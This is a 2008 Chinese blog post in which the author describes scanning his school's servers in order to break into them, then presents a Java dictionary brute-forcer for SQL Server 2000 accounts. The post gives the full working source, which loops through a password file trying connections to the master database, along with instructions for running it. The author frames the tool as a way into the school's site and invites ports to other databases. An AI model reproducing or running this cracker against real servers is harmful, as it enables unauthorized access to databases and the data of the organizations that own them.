无标题文档
  中国大校园  
中国大校园
     
 
公告
中国大校园
时间记忆
中国大校园
最新日志
中国大校园
最新评论
中国大校园
最新回复
中国大校园
我的好友
我的相册
站点信息
中国大校园
  无标题文档
[原创]SQL2000密码暴力破解器(JAVA版)
2008-4-22 12:53:00
作者:Keona QQ:15102649 Email:j2ee.keona@yahoo.com.cn
(备注:转载请注意出处)
前言:
哎,今天下午真的没事干,除了陪一个女孩聊天就是对我们学校(牛X软件学院)进行全面系统扫面.想再次入侵学校的服务器.(同学们不要鄙视我,呵呵.更不要扔鸡蛋!)但是扫描了很久发现主机上除了挂了几个WEB服务和开放了3389,1433,80,8080端口等端口,虽然开放了3389远程桌面,可是没有NT若口令,难道还用过时的输入法非法登陆系统(嘿嘿,应该不太可能,90年代的手法了!)其他的都是没什么利用价值的信息.在打算放弃之余突然脑中灵光一现.?咦不是有1433端口吗?SQL-Server2000数据库..嘿嘿(坏笑两声,原则上可以利用这个了成功入侵学校的网站了,<-切记这是原则上的,但是很多外在因素:时间,意外,IP过滤等等...这里不去探讨了,今天主要是主要讲讲我写的SQL-Server2000密码暴力破解器原理)

嘿嘿,上面废话一堆了,希望大家没有被我的自言自语给弄郁闷了,好了.废话不多说了...进入正题....!
原理:
1.使用连接类:在Java中可以使用java.sql.Connection对象,去连接SQL2000数据库,因为在学习过程中,我们都是习惯了连本机,却忽略了其实Connection类还可以连接远程数据库嘛,有了这个特性,我们不就可以做做坏事了.开发一个关于个人的"黑客小工具"暴力去破解密码了吗.?
2.使用密码文件:这里说到的密码文件可以是用一些工具(密码字典等工具)生成的出来的密码,我们把它保存在电脑特定的位置.在运行程序时我们只需把这些密码读入到内存中,然后写个循环利用:
Connection conn = java.sql.DriverManager.getConnection(DBURL,DBUSER,DBPASS);一个一个去匹配密码.这样不就做到了暴力破解的功效了吗?如果返回Connection对象不是为null值,表示破解密码成功.!这里有点是必须提出来的,在getConnection方法种DBURL是必须的,但是有的人可能会问,这个URL地址应该怎么写.?我不知道我对方的数据库中会存在那些库啊.?总不能乱写一个吧.? 确实,这也是个比较重要的问题...但是我个人觉得,一般做为WEB的数据一般有一个表应该会存在的--Master表,那些什么pubs表等其他的表,管理员可能会删除,但是master表,管理员应该是不会删除的,因为master表毕竟是SQL2000的系统表,里面有很多系统存储过程等重要的东西,所以这里大可以放心的连接master数据.(备注:如果你不是破解DBA权限的帐号时,就可能会出现意外,可能是在对master数据库访问时会存在权限问题.)
3.有了上面2点以后,基本上程序已经没有很大的问题了,但是.为了人性化点,我们还需要注意2个细节.才能把这个小工具完善好...首先必须注意,这里破解的帐号,我们不能写死,还是有给用户预留点空间,让用户指定破解那个帐号.其次.其次就是密码文件的路径,我们这里也不能写死.同理也是让用户来输入.所以这里我们还需要用到输入流来获取用户的输入.既然索性要接受用户输入的参数.这里,我直接把这些参数直接规划成命令去让用户输入,让用户有种与DOS系统互交的感觉,接受起来也比较亲切o(∩_∩)o....
最后在我贴代码之前,请再允许我废话几句:小这个小程序并不是真的要把它做为一个黑软来编写,因为这也是我在很短时间里弄出来的东西,没有考虑到那么多的外界因素,代码写的也比较匆忙,如果有什么问题可以和我交流..我嘛就主要是个起头的角色而已,希望由我这个"砖头"文章引出一大批的"玉"出来...哈哈...提供的也就是个思路.如果有兴趣的朋友还可以把这个程序该成MYSQL或者Oracle版的或者DB2版的,主要方法都差不多..

程序源代码:

package cn.keona.check;
import java.io.File;
import java.io.FileReader;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.FileNotFoundException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.List;
import java.util.ArrayList;
import java.text.MessageFormat;

/**
* 破解工具类
*/
public class CheckSQLPasswordUtil {

//SQL-Server2000驱动.
private static final String DBDRIVER = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
//数据库连接URL.
private static final String DBURL = "jdbc:microsoft:sqlserver://{0}:1433;databasename=master";


//远程数据库路径.
private String databaseUrl;
//需要破解的数据用户.
private String dbUser;
//密码文件路径.
private String passwordPath;
//密码集合.
private List<String> passwords = new ArrayList<String>();
//是否破解密码.
private boolean isCheck;
//正确密码.
private String truePassword;

//带参数构造方法.
public CheckSQLPasswordUtil(String databaseUrl,String dbUser,String passwordPath) {
  this.databaseUrl = databaseUrl;
  this.dbUser = dbUser;
  this.passwordPath = passwordPath;
  this.isCheck = false;
  this.truePassword = "";
}

//初始化程序.
private boolean init() {
  //参数检查.
  if(databaseUrl == null || databaseUrl.equals("")) {
   System.out.println("[系统提示]:请输入远程数据地址!");
   return false;
  }
  if(dbUser == null || dbUser.equals("")) {
   System.out.println("[系统提示]:请输入你要破解的数据库帐号!");
  }
  if(passwordPath == null || passwordPath.equals("")) {
   System.out.println("[系统提示]:请输入字典文件路径!");
   return false;
  }
  //数据库连接URL.
  MessageFormat format = new MessageFormat(DBURL);
  databaseUrl = format.format(DBURL,databaseUrl);
  System.out.println(databaseUrl);
  return true;
}

//破解密码.
private boolean checkPass() {
  String pass = "";
  try {
   if(passwords.size()<1) {
    return false;
   }
   pass = passwords.get(0);
   passwords.remove(0);
   Class.forName(DBDRIVER);
   Connection conn = DriverManager.getConnection(databaseUrl,dbUser,pass);
   //执行到这里,表示测试成功.
   conn.close();
   truePassword = pass;
   isCheck = true;
  } catch(ClassNotFoundException classEx) {
   System.out.println("[系统提示]:没有找到合适的驱动包文件...!");
   return false;
  } catch(SQLException sqlEx) {
   System.out.println("[进度提示]:" + dbUser + "用户尝试" + pass + "....>>>失败!");
   //递归调用程序.
   checkPass();
  }
  return isCheck;
}

//获取装载好的密码字典.
private void getPasswords() {
  BufferedReader reader = null;
  try {
   //装载文件.
   File file = new File(passwordPath);
    reader = new BufferedReader(new FileReader(file));
   //读取文件.
   String pass = "";
   while((pass = reader.readLine()) != null) {
    passwords.add(pass);
   }
   passwords.add("");
   System.out.println("[系统提示]:系统装载密码文件完毕,读取密码个数:" + passwords.size());
  } catch(FileNotFoundException fileEx) {
   System.out.println("[系统提示]:没有找到指定密码文件.!");
  } catch(IOException ioEx) {
   System.out.println("[系统提示]:读取密码文件出错.!");  
  }
  //关闭流操作.
  try {
   if(reader != null) {
    reader.close();
   }
  } catch(IOException e) {
  }
}

//对外公开的破解方法.
public void doCheck(){
  //开始时间.
  Long sTime = System.currentTimeMillis();
  //初始化参数.
  init();
  //装载密码.
  getPasswords();
  if(checkPass()) {
   System.out.println("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
   System.out.println("[系统提示]:破解密码成功! >>> :" + truePassword);
  } else {
   System.out.println("[系统提示]:破解密码失败,密码文件中不包含正确的密码!");
  }
  System.out.println("本次破解耗时:" + (System.currentTimeMillis() - sTime) + "ms.");
}
}

package cn.keona.check;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.StringTokenizer;

/**
* 程序入口.
*/
public class CheckSQLPassword {

public static void main(String[] args) {
  new CheckSQLPassword().doCheck();
}

public void doCheck() {
  System.out.println("Keona CheckSQLPassword V1.0");
  System.out.println("命令格式: check: -dbUrl -dbUser -passPath");
  System.out.println("dbUrl:远程数据库地址!\ndbUser:你需要破解的数据库帐号!\npassPath字典文件路径\n直
接输入exit退出程序\n");
  try {
   BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
   String cmd = reader.readLine().trim();
   if(!cmd.equalsIgnoreCase("exit")) {
    String[] params = parserCmd(cmd);
    CheckSQLPasswordUtil check = new CheckSQLPasswordUtil(params[0],params[1],params
[2]);
    check.doCheck();
   } else {
    return;
   }
  } catch(IOException ioEx) {
   System.out.println("[系统提示]:读取命令错误..!");
  }
}

public String[] parserCmd(String cmd) {
  String[] params = new String[3];
  StringTokenizer token = new StringTokenizer(cmd.substring(cmd.indexOf(":")+1)," -");
  for(int i=0; i<params.length; i++) {
   params[i] = token.nextToken();
  }
  return params;
}
}

运行程序输入:
check: -数据库URL地址 -需要破解的用户 -密码文件存放的位置.回车搞定.效果如下.
以下是程序运行的结果截图:
Keona.hu | 阅读全文 | 回复(0) | 引用通告 | 编辑
  • 标签:密码 SQL2000 破解 
  • 本日志同步发往的圈子及评论情况:
  • 发表评论:

      大名:
      密码: (游客无须输入密码)
      主页:
      标题:
      中国大校园
     
     
    友情链接:中国大校园     北大青鸟长沙牛耳     牛耳搜职网     中南人才网     牛耳教育
    Copyright © 2005 - 2006 All Rights Reserved powered by chinadxy.com  
    Powered by chinadxy.com